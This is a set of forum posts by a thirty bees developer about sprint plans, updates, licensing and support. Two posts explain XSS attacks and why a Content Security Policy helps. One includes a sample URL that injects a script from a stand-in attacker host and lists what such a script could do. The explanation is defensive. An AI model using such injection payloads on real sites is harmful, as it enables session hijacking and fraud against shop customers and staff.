datakick

At the start, you can simply reuse the same functionality you already have for ps17, and assume all features have these two flags enabled.

Of course. Here you can see the db differeces: https://github.com/thirtybees/thirtybees/commit/ee852aef81420882a7a042e2d7978a790c8c37dd#diff-2a48baaddf0416cfb05978271a4ca9a83881e6f54ac663389063ba1d59c28135

🙂 It happens all the time. And it will continue to happen. It's just not possible to close all the holes in the core, themes, all the native or third party modules, or any third party software that can be installed alongside

You apparently don't understand how XSS attack works. It's not the attacker that interact with the server, it's a third party user. If attacker somehow manage to inject javascript to the page that is rendered for different user, he can steal that user session, and do whatever he wants on behalf that poor user. This can be done, for example, by posting exploit link on public forum, or by directly sending link via email to some known server user. Once the user click on the link attacker gain access to his identity / session / cookies. This problem is much more severe in the back office, when attacker can act as an employee. They can trigger ajax calls to approve or create orders, change pricing of products, create new employee, or whatnot. At that point it is just a series well formed http requests. They can perform the same operations employee can. That's why store owner should never (or rarely) use admin profile. They should create and use different permission profile, to mitigate the risks. On front office XSS is not such a huge deal, but it is still a big problem. The attacker can impersonate the customer, and that can lead to serious issues. For example, I can imagine script that posts message via contact form and ask to ship last order to a different address. Shop owner will, of course, believe this message, because it came from logged-in customer. And they will send the goods to different address. This is a real problem, and CSP can help a lot. It's not silver bullet, of course, but nothing is.

It will be merged with tb core file, possibly causing conflicts. The more code override contains, the more friction it can cause. Just try to put the smallest amount of code that's needed. It will probably be just one or two methods, no more.

Of course they improve security. They wouldn't exists otherwise. They are not intended to stop attackers interacting with the server directly, of course. But they are very useful for preventing cross site scripting, script injections, and similar attacks. Example scenario: Hacker will figure out that some query parameter on your server, say "&id_order=1", is displayed in the page without escaping and validating. Hacker can then create url to your server with this parameter containing javascript. Something like this: http://yourdomain.com/some/page?id_order%3D%3Cscript%20href%3D%22https%3A//attacker.site/malicious_script.js%22%3E This will insert <script src="https://atacker.site/malicious_script.js" /> to the page. And that's bad. The script can now do various things - listen to key strokes to figure out password of your customer. Submit ajax requests to submit orders on his behalf, or submit contact form to send spam emails. And who knows what else. By setting proper CSP on server this problem can be mitigated, to some extent. With strict CSP rules, browsers (the good one) will prevent this injection, and the user won't be affected. Of course, all such security holes must be fixed in the thirty bee code. But we can never be sure that we fixed all. We probably never will. Thus, having strict CSP would definitely help.

The problem with CORS request to api.thirtybees.com will be resolved with the new version of core updater that will be released later this week. Ajax calls to api server were removed and replaced with server-to-server communication. So this particular problem will go away. Please report any additional issues you will find! Thank you

OSL 3.0 is definitely not ideal license for e-commerce. Section 1c) grants you rights And section 5) says that Together, these two sections means that you must disclose source code of all and any modifications, once your server is reachable by public. The license does not specify the mechanism to disclose the source code. You don't have to be proactive, I believe it is sufficient to disclose it on per-request basis (put some info about this to TOS or similar page). Most likely nobody will ever ask you to disclose the source code 🙂 Of course, it's pretty hard (practically impossible) to prove that you are using modified version of thirty bees. You could always claim that you are using overrides or hooks to alter the functionality. And you should ALWAYS use overrides or hooks, never touch core files. That always result in huge headache few months (years) later.

Thank you @haylau, really appreciate your input. ad 1) This feature exists for backwards compatibility, to have more compact back office entry form, and also to prevent data entry issues. If you don't want to use it, you can just allow it for all features, and be done with it. Features are rarely created, but feature values are created more often. ad 2) I totally agree that native multiselect is not very UX friendly. Some more advanced UI element for pre-defined values selection would be nice. I added this to the backlog. Low priority, though ad 3) I believe this should be responsibility of the theme. But... because it's a new feature, theme do not solve this issue. So maybe we could implement it in the core. Into the backlog. ad 4) Good idea

If you already run 1.1.x then there is no big difference to 1.2.0 (of course, depending on what commit exactly your 1.1.x is, but I assume it's recent one) I don't see any reasons why Panda theme shouldn't run on php74, or on thirty bees 1.2.0.

Hi everyone, if you update your store to bleeding edge (main) branch, you will be able to test new functionality: Multiple feature values. It would be great if you could help me test this functionality before it is released in the next major release (1.3.0). Note that for this to work, you will need to go to core updater DB schema, and fix the primary key index in tb_feature_product table: In the future, Core updater will do this automatically during shop upgrade. At the moment this needs to be done manually, though. What this new functionality offers? In the Product features, you can now select two new options: If you enable 'Allows multiple values', you will be able to select multiple feature values, or enter multiple custom values, in product edit page: If you keep 'Allows multiple values' option unchecked, features will behave as before -- only one feature value will be allowed. Please test, and if you find any bugs or have some functionality enhancement request, please write here or file github issue. Thank you all PS: I have updated my test shop to latest bleeding edge, so you can test the functionality even if you don't have your own test server. Just go to https://demo.getdatakick.com/admin561wkvz9k/

1.2.x is for serious bug fixes only. This will be in 1.3.0 / main bleeding edge

did you try to create a new customer account and log out/log in back? Does it work or not?

Current version is 1.2.0, next major version is 1.3.0, next bugfix version is 1.2.1. main branch represents future major release 1.3.0. This is the real bleeding edge, it contains all the feature work and bug fixes 1.2.x represents future 1.2.1 release. It contains only a handful of commits that fixes serious issues. I would like to release bufixes releases every 4-6 weeks, so there's probably not a good reason to regularly update to 1.2.x., you should just wait for 1.2.1. Currently I'm finishing redesign of core updater that will hide this complexity. You will be able to choose if you want to keep your store updated to latest stable version, or to bleeding edge. And Core updater will tell you when there is something to update.

Module installs order status, but it is not active. Go to statues and activate them. That should help This looks like a bug in thirty bees, though. Active column is new (tb only, it wasn't in ps16), and for backwards compatibility it should be enabled by default

"Approval failed" is not thrown by thirtybees core. Maybe some module/override?

There are multiple groups of actors that have different needs Merchants: target users of thirty bees major source of business-related enhancement requests most of their requests are, however, not ideal for development in core. Usually, module is the best way to implement such request module can be implemented either by core team, or by third party developers (ideal scenario) merchants are usually not developers, so there need to be some moderation Theme and module developers, partners/agencies: they require different set of features in the core, supporting features and extension points that allows them to develop their solutions thirtybees users (merchants) don't not really care about these features, though these are tech people, so the communication with tb dev could be more easier Owners business needs specific to thirty bees owners I don't think we should discuss these in public There is already a system for users to submit their feature request, but it's not very user friendly, or structured enough https://thirtybees.com/feature-request Tub this is only for feature collection. The actual planning go through jira. I think good system would be something like this: merchants or any other user could submit a request there would be discussion area so we could communicate in order to groom the idea, and make it clearn once the idea is well understood, staff member would either approve it provide rough time estimation describe delivery method - either by core, module, or combination of above include target version: backlog - not scheduled for development yet included into some release or reject it as not feasible for the system people could vote on approved ideas (that are in backlog) to provide feedback on what is important for them tb staff would use this information for roadmap planning This could be implemented (to some extend) on github issues, although that's probably not very user friendly. Better would be some standalone solution accessible from web/forum. We could also make this available for third party developers -- they could use these informations to decide what module to implement.

Hardly. The problem here is to determine if the transaction is in the blockchain. You can either run local blockchain node and query it directly, or use third party service like blockonomics. They will watch your wallet and call webhook, in exchange for a fee. It's a good bargain if you ask me

Look in server logs. These are usually accessible via your cpanel. If unsure where to find them, ask your hosting provider

I agree with this, and I will write a post about our high level plans. How do you suggest we do that? Please advice some easy to implement solution, or even help set it up. We would be quite grateful. I would personally love to have some publicly available feature request management tool. Currently, enhancement requests are submitted all over the place. In form of github issues, here on forum, on feature request page (https://thirtybees.com/feature-request/), via emails, on slack channel. I have yet to receive sms with feature request, thought 🙂 We try to collect them and copy (interesting one) to our Jira for further refinement, analysis. A lot of the ides are discarded right at the beginning because they are not 'core' material. Merchants often suggest things like 'we want a button' or 'infinite scroll', and these can't be implemented in core, obviously. So yeah, some centralized way to collect ER would be great help. It's a business

This morning at 7am Sprint 3 has officially started. This sprint will be a little bit shorter because of the Easter holidays, we have only 8 days to finish following tasks: Finish Core Updater enhancements continuation of work from sprint 2. There are still some work left before we can release a new version of core update Automated testing pipeline in docker implement docker container that we can use to run automated test on any branch / revision submitted to github integrate this docker into CI pipeline Multiple feature values this is one of the most requested enhancement that existed for a long time, and we will finally implement it it will mean a potential, but very small, compatibility issue Tracking framework implement framework that will allow sending various information about your thirty bees installation to our tracking server (don't worry, it will be on opt-in basis) tracking framework will use scheduler that we implemented in sprint 2 Track environment information once the Tracking framework will be implemented, we will use it to obtain first set of data: php version installed php extensions mysql version memory limit timeout limit Bug fixing review and merge PR requests fix couple of high severity bugs Support requests work on paid support requests Please ask if you have any questions about anything

Yes, most of it will. The code is developed on different branches, and submitted to github already. Once it goes through automated testing, will be merged into main branch, and released to bleeding edge. Not all, of course, for example php-8 compatibility work is very much work in progress, so this will not make it to the bleeding edge for a very long time. But it will, eventually.

First of all -- you should update to tb 1.2. A lot of php compatibility issues were fixed there. So that could fix the problem for you. It might not, in case php compatibility issue comes from third party module. In that case, best thing to do would be to contact module developer. You could also look into error logs, find the error, and post it here. Maybe we can help.

I think you guys deserve to have a better visibility into how thirty bees development is going forward. So I decided to write bi-weekly sprint overview. Let me start by explaining how we do development at thirty bees. We use scrum methodology, with 2 week sprints. In agile development, sprint is (usually) 2-week period of time when development team implements and delivers some functionality that has been agreed upon. Although we have a very small team (some naysayer would say it's not a team at all 🙂 ), we decided to practice this agile process for various reasons. One of them is to be more accountable and focused. Another is to have better understanding of how much work we can really deliver. Before every sprint, we have an internal scrum meeting where we decide on what will be implemented in the next 2 weeks. We have a huge backlog of items that can be done, with effort estimate. We also have a roadmap. We know when the next major version is going to be released, and what functionality it should/must contain (I will write a dedicated forum post about this soon for those interested). We use these information to select tasks for the sprint. We try to put tasks from different areas into to each sprint. The result contains tasks from these categories bug fixing -- we dedicate some time to fix bugs, maintain github, PR, etc enhancements that bring value to merchants -- these are standard enhancement requests, like multiple feature values or order editing platform enhancements -- these are enhancement that you guys don't know you need, but you will love them 🙂 Also tasks that will make platform more friendly and interesting to third party developers, theme developers, etc. chores -- everyone hates doing chores (I know I do). But they need to be done. Tasks like server updates, implementing testing pipelines, support for php8, and what not. The platform would implode without regular maintenance. enhancements that bring value mostly to thirtybees org (us) -- we are adding some functionality to the core / modules that will make us happy. For example, we plan to add usage tracking (how many people installed tb, what features are they using, what errors did they encounter, etc). I understand that merchants don't care much about these (and some will not want to share these info with us), but we need to know. Otherwise tb company will fail, and tb platform will go with it support and paid tasks - time dedicated for paid support. Merchants can contact us and ask for some custom development, server migration, updates, etc. Currently our only stream of revenue. OK, that's probably enough introduction. Let me present to you what we have done so far Sprint 1 01/3/2021 - 16/3/2021 The first development sprint started when I finally joined thirty bees org full time at the beginning of this month. The goal of the sprint was to start progress, and to release first version. What we did: Translation handling - release prerequisites temporarily remove php8-polyfill dependency -- tb failed on php 7.2 and newer because of it Tool to extract translations - automated script that extracts translatable strings from core, themes, and modules Tool to upload translations - script that uploads extracted translatable strings to crowdin, where you guys can translate them Tool to download translations - script that downloads translations from crowin and prepares translation packs Tasks associated with releasing new version Build and release all modules Build and release core Prepare translations Release notes Deploy to demo server Multiple php builds Extending thirty bees build machinery to support building thirty bees for different php versions. We still support php 5.6, but this makes it very hard (nearly impossible) to maintain. It's because many php libraries that tb depends on are not supported on this php version, there can be composer dependencies conflicts, etc. Extend core updater to request specific php version -- work in progress Bug fixing in first sprint we dedicated 1 day to github maintenance, fixing some bugs, merging some PR, and general backlog cleanup Support paid support requests Sprint 2 [current] 2021/03/17 - 2021/03/30 Plan: Core updater enhancements Make core updater user friendly -- core updater was made by developers for developers, that's not good support update to php version build refactoring code to make it less dependent on tb core -- we plan to use the same module as a migration tool from ps16 various enhancements, like tracking specific revision Carrier price semantics enhancement that allows merchant to enter shipping price with or without tax this also fixes AEUC proportional issues Scheduled tasks thirty bees will have build-in scheduler (cronjobs) to run scheduled tasks we need this as a stepping stone to implement additional features, like maintanance tasks, automatic backups, automatic index regeneration, updates, tracking, etc ElasticSearch this module was originally implemented using crowdfunding, it was a shame it didn't work. We fixed that review and extend existing PR requests for ES module, make it work with all supported elastic search versions fixed various bugs PHP8 support ongoing effort to make tb compatible with php8 in this sprint we renamed Attribute class, and all its usages in core. This is work in progress, not in main branch, not yet available for general audience Support paid support tasks in this case, the result will make it to the core, as feature custom Permissions for back office controllers -- you will have an option to hide some tabs in Product back office edit page. For example, you can restrict translators employees to see and edit only Information and Seo tabs. Then won't be able to break your pricing Work queue Work started on work queue feature This is a mechanism that allow us to run some tasks in parallel / in separation from main execution thread this will allow us to improve performance and to implement reliable long running tasks example use cases sending emails -- instead of sending email immediately/synchronously, we will create email task and push it to work queue. It will be send shortly by work queue worker. But it will not block main thread -- the server response will be much faster. Also, this allows for re-trying sending emails on error Bug fixing - Sprint 2 How is it going so far: We are little bit behind the plan -- to implement Core Updater enhancement took much more time than originally estimated. However, we are almost on track. For those of you interested in burndown chart: Sprint 2 will end today, and new Sprint 3 will start tomorrow morning. We have a sprint planning meeting today where we will finalise and agree on scope for the next sprint. I will create new forum thread containing plan for sprint 3 this evening, or tomorrow. If you guys have any questions, don't hesitate to ask 🙂 Have a nice day all

Yeah, you guessed right, it contains integrating your two PR + some additional enhancements 🙂